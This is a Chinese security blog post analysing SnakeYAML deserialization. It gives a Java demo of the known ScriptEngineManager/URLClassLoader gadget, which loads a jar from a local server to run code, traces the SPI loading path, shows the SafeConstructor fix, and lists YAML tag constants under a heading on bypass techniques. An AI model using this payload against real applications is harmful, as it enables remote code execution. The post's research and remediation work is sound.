SnakeYaml反序列化
2023-01-30 11:35:36

# Demo 利用

https://github.com/artsploit/yaml-payload

将源码简单修改下

image-20230605115147426

image-20230605115156615

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package test;

import org.yaml.snakeyaml.Yaml;

public class test {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

(使用图片中自己 cv 的代码没有执行成功,卡了半天,干脆直接 down 了 github 的 poc 才执行成功的

原来还有个 SPI 机制

# SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

如果需要使用 SPI 机制需要在 Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

image-20230605115213134

也就是说,我们在 META-INF/services 下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类

image-20230605115222968

SPI 会通过 java.util.ServiceLoder 进行动态加载实现,在调用的时候,SPI 机制通过 Class.forNam 反射加载并且 newInstance() 反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。

这里先插一句说下!!是什么

!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

跟进到 loadFromReader 下 setComposer,指定反序列化全类名

image-20230605115237095

上一步 name 取到 javax.script.ScriptEngineManager,这里反射创建 javax.script.ScriptEngineManager 对象

image-20230605115250020

这里创建数组列表,调用 node.getType ().getDeclaredConstructors () 遍历完的结果通过 possibleConstructors.add 再添加到
Class.forName 进行创建反射对象并且赋值给 note 的 type 里面。而后这里 getDeclaredConstructors () 获取它的无参构造方法。

在这里插入图片描述

再到这里返回实例对象

image-20230605115300840

construct 构造器加载进来

value 就是恶意类

image-20230605115318765
再加载一轮

就拿到了 javax.script.ScriptEngineManager 实例化对象
image-20230605115339023

反射调用将数组对象赋值给 c,最后再实例化

image-20230605115354110

这里再返回要加载地址
image-20230605115407350
最后

image-20230605115421143

下面再来看下 SPI 机制的实现

断点下在 ScriptEngineManager #75

ServiceLoader 动态加载类
image-20230605115439050

hasNexService 方法

加载 META-INF/services/javax.script.ScriptEngineFactory 获取实现类

image-20230605115448854

实例化

image-20230605115458440

走到后面就执行成功

# 漏洞修复

漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入 new SafeConstructor() 类进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
public class main {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}

}

image-20230605115508920

再次执行会抛出异常

也可以拒绝不安全的反序列化操作,反序列化数据经过校验或者拒绝反序列化数据可控

在审计中其实就可以直接定位 yaml.load(); ,然后进行回溯,如若参数可控,那么就可以尝试传入 payload。

一些绕过手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");